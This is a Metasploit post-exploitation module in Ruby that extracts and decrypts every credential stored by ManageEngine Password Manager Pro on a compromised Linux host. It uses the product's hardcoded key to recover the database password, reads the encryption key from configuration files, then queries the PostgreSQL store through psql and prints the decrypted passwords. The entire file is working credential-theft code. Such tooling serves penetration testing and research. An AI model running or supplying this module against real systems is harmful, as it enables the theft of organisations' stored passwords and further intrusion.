## https://sploitus.com/exploit?id=MSF:POST-LINUX-GATHER-MANAGEENGINE_PASSWORD_MANAGER_CREDS-
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Post
include Msf::Post::File
include Msf::Post::Process
HARDCODED_KEY = '7n3tP'.freeze
SERVICE_DIR = '/etc/init.d'.freeze
PMP_SERVICE = 'pmp-service'.freeze
DB_CONF_PATH = 'conf/database_params.conf'.freeze
MANAGE_KEY_CONF_PATH = 'conf/manage_key.conf'.freeze
SALT = (1..8).map(&:chr).join.freeze
ITERATIONS = 1024
ResourceCredential = Struct.new(:resource_name, :resource_url, :account_notes, :login_name, :password)
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Linux Gather ManageEngine Password Manager Pro Password Extractor',
'Description' => %q{
This module gathers the encrypted passwords stored by Password Manager
Pro and decrypt them using key materials stored in multiple
configuration files.
},
'License' => MSF_LICENSE,
'Platform' => ['unix', 'linux'],
'SessionTypes' => ['shell', 'meterpreter'],
'Author' => [
'Travis Kaun', # Original Research and PoC
'Rob Simon', # Original Research and PoC
'Charles Yost', # Original Research and PoC
'Christophe De La Fuente' # MSF module
],
'References' => [
[ 'URL', 'https://www.trustedsec.com/blog/the-curious-case-of-the-password-database/' ],
[ 'URL', 'https://github.com/trustedsec/Zoinks/blob/main/zoinks.py' ]
],
'Notes' => {
'Stability' => [ CRASH_SAFE ],
'SideEffects' => [ ],
'Reliability' => [ ]
}
)
)
register_options([
OptString.new('INSTALL_PATH', [false, 'The Password Manager Pro installation path. The module will try to auto detect it if not set.']),
OptAddress.new('PG_HOST', [false, 'The PostgreSQL host', '127.0.0.1']),
OptPort.new('PG_PORT', [false, 'The PostgreSQL port', 2345])
])
end
def detect_process
# PMP usually starts two processes from its own installation path: `java` and `postgres`.
# These processes are shipped with the standard installation package and are used by default.
vprint_status('Trying to detect path from the PMP related processes')
paths_to_check = [
'/jre/bin/java',
'/pgsql/bin/postgres'
]
paths_to_check.each do |path|
found_path = shell_get_processes&.find do |process|
process['name'] =~ /pmp.*#{path}/i
end
return found_path['name'].split(path).first if found_path
end
vprint_error('Cannot detect the installation path from the PMP processes')
nil
end
def detect_service
# Check if PMP is installed as a service. The default Linux installer
# just create a symlink to the `pmp-service` service script in `/etc/init.d/`.
vprint_status('Trying to detect path from the PMP service')
pmp_service_path = "#{SERVICE_DIR}/#{PMP_SERVICE}"
begin
pmp_file = stat(pmp_service_path)
rescue StandardError => e
vprint_error("Error when reading `#{pmp_service_path}`: #{e}")
return
end
unless pmp_file
vprint_error("PMP service script `#{pmp_service_path}` not found")
return
end
unless pmp_file.symlink?
vprint_error("`#{pmp_service_path}` is not a symlink and the installation path cannot be detected")
return
end
begin
cmd = "readlink -f '#{pmp_service_path}'"
pmp_service_real = cmd_exec(cmd)
rescue StandardError => e
vprint_error("Error when executing `#{cmd}`: #{e}")
return
end
unless pmp_service_real
vprint_error("Cannot resolve the symlink #{pmp_service_path}")
end
install_dir = pmp_service_real.split('/')
if install_dir.pop(2) == ['bin', PMP_SERVICE]
return install_dir.join('/')
end
vprint_error("Cannot detect the installation path from the resolved symlink `#{pmp_service_real}`")
nil
end
def detect_install_path
vprint_status('Detecting installation path')
detect_service || detect_process
end
def decrypt_text(b64_ciphertext, enc_key)
raw_ciphertext = Rex::Text.decode_base64(b64_ciphertext)
cipher = OpenSSL::Cipher.new('AES-256-CTR')
cipher.decrypt
cipher.iv = raw_ciphertext[0, 16]
digest = OpenSSL::Digest.new('SHA1')
key = OpenSSL::PKCS5.pbkdf2_hmac(enc_key, SALT, ITERATIONS, cipher.key_len, digest)
cipher.key = key
decrypted = cipher.update(raw_ciphertext[16..])
decrypted << cipher.final
end
def get_db_password(install_path, enc_key)
vprint_status('Getting the database password')
db_path = "#{install_path}/#{DB_CONF_PATH}"
begin
db_conf = read_file(db_path)
rescue StandardError => e
print_error("Error reading `#{db_path}`: #{e}")
return
end
unless db_conf
print_error("Database configuration file `#{db_path}` not found")
return
end
b64_password = db_conf.match(/password=(.+)$/)&.captures&.first
unless b64_password
print_error('Unable to retrieve the database password')
return
end
decrypt_text(b64_password, enc_key)
end
def get_db_enc_key(install_path)
vprint_status('Getting the database encryption key')
manage_key_conf_path = "#{install_path}/#{MANAGE_KEY_CONF_PATH}"
begin
pmp_key_path = read_file(manage_key_conf_path)
rescue StandardError => e
print_error("Error reading `#{manage_key_conf_path}`: #{e}")
return
end
unless pmp_key_path
print_error("Database manage_key configuration file `#{manage_key_conf_path}` not found")
return
end
unless exist?(pmp_key_path)
print_error("Database key configuration file `#{pmp_key_path}` not found")
return
end
vprint_good("Found the database key configuration: #{pmp_key_path}")
begin
pmp_key = read_file(pmp_key_path)
rescue StandardError => e
print_error("Error reading `#{pmp_key_path}`: #{e}")
return
end
unless pmp_key
print_error("Database key configuration file #{pmp_key_path} not found")
return
end
pmp_key.match(/ENCRYPTIONKEY=(.+)$/)&.captures&.first
end
def pg_host
@pg_host ||= datastore['PG_HOST'].blank? ? '127.0.0.1' : datastore['PG_HOST']
end
def pg_port
@pg_port ||= datastore['PG_PORT'].blank? ? 2345 : datastore['PG_PORT']
end
def psql_path(install_path)
return @psql_path if @psql_path
psql = "#{install_path}/pgsql/bin/psql"
raise Rex::RuntimeError, "Cannot find `pgsql` in the installation path `#{psql}`" unless exist?(psql)
@psql_path = psql
end
def query_db(query, install_path, db_password)
cmd = "env PGPASSWORD=#{db_password} #{psql_path(install_path)} -w -A -t -h #{pg_host} -p #{pg_port} -U pmpuser -d PassTrix -c "
cmd << "\"#{query}\""
dlog("psql command: #{cmd}")
result, success = cmd_exec_with_result(cmd)
raise Rex::RuntimeError, "psql returned an error: #{result}" unless success
result
end
def process_key(key)
key = key.ljust(32)
key = Rex::Text.decode_base64(key) if key.length > 32
# This mimics how Java handles: new String(aeskey, 'UTF-8').toCharArray()
key.force_encoding('utf-8').scrub.b
end
def get_notesdescription(install_path, db_password, db_enc_key)
begin
cmd = 'SELECT notesdescription FROM Ptrx_NotesInfo'
b64_notesdescription = query_db(cmd, install_path, db_password)
rescue StandardError => e
print_error("Error while querying `Ptrx_NotesInfo` table with `psql`: #{e}")
return
end
enc_key = process_key(db_enc_key)
decrypt_text(b64_notesdescription, enc_key)
end
def dump_credentials(install_path, db_password, db_enc_key, notesdescription)
begin
cmd = "SELECT ptrx_resource.RESOURCENAME,
ptrx_resource.RESOURCEURL,
ptrx_password.DESCRIPTION,
ptrx_account.LOGINNAME,
decryptschar(ptrx_passbasedauthen.PASSWORD,\'#{notesdescription}\')
FROM ptrx_passbasedauthen
LEFT JOIN ptrx_password ON ptrx_passbasedauthen.PASSWDID = ptrx_password.PASSWDID
LEFT JOIN ptrx_account ON ptrx_passbasedauthen.PASSWDID = ptrx_account.PASSWDID
LEFT JOIN ptrx_resource ON ptrx_account.RESOURCEID = ptrx_resource.RESOURCEID"
passwords = query_db(cmd, install_path, db_password)
rescue StandardError => e
print_error("Error while dumping credentials with `psql`: #{e}")
return
end
enc_key = process_key(db_enc_key)
passwords.each_line.map do |password|
r_name, r_url, desc, name, pass = password.strip.split('|')
decrypted_password = decrypt_text(pass, enc_key)
ResourceCredential.new(r_name, r_url, desc, name, decrypted_password)
end
end
def report_creds(username, password)
credential_data = {
origin_type: :session,
post_reference_name: fullname,
private_data: password,
private_type: :password,
session_id: session_db_id,
username: username,
workspace_id: myworkspace_id
}
create_credential(credential_data)
rescue StandardError => e
vprint_error("Error reporting credentials `#{username}:#{password}`: #{e}")
elog(e)
end
def display_and_report(resource_credentials)
cred_tbl = Rex::Text::Table.new({
'Header' => 'Password Manager Pro Credentials',
'Indent' => 1,
'Columns' => ['Resource Name', 'Resource URL', 'Account Notes', 'Login Name', 'Password']
})
resource_credentials.each do |res_cred|
report_creds(res_cred.login_name, res_cred.password)
cred_tbl << [
res_cred.resource_name,
res_cred.resource_url,
res_cred.account_notes,
res_cred.login_name,
res_cred.password
]
end
print_line(cred_tbl.to_s)
end
def run
install_path = datastore['INSTALL_PATH'].blank? ? detect_install_path : datastore['INSTALL_PATH']
unless install_path
fail_with(Failure::BadConfig,
'Unable to detect the PMP installation path. Use the INSTALL_PATH option instead.')
end
print_status("Installation path: #{install_path}")
encryption_key = Digest::MD5.new.update(HARDCODED_KEY).hexdigest
db_password = get_db_password(install_path, encryption_key)
unless db_password
fail_with(Failure::Unknown, 'Unable to get the database password')
end
print_good("Database password: #{db_password}")
db_enc_key = get_db_enc_key(install_path)
unless db_enc_key
fail_with(Failure::Unknown, 'Unable to get the database encryption key')
end
print_good("Database encryption key: #{db_enc_key}")
notesdescription = get_notesdescription(install_path, db_password, db_enc_key)
unless notesdescription
fail_with(Failure::Unknown, 'Unable to get `notesdescription` from the database')
end
print_good("`notesdescription` field value: #{notesdescription}")
resource_credentials = dump_credentials(install_path, db_password, db_enc_key, notesdescription)
unless resource_credentials
fail_with(Failure::Unknown, 'No credentials found in the database')
end
display_and_report(resource_credentials)
end
end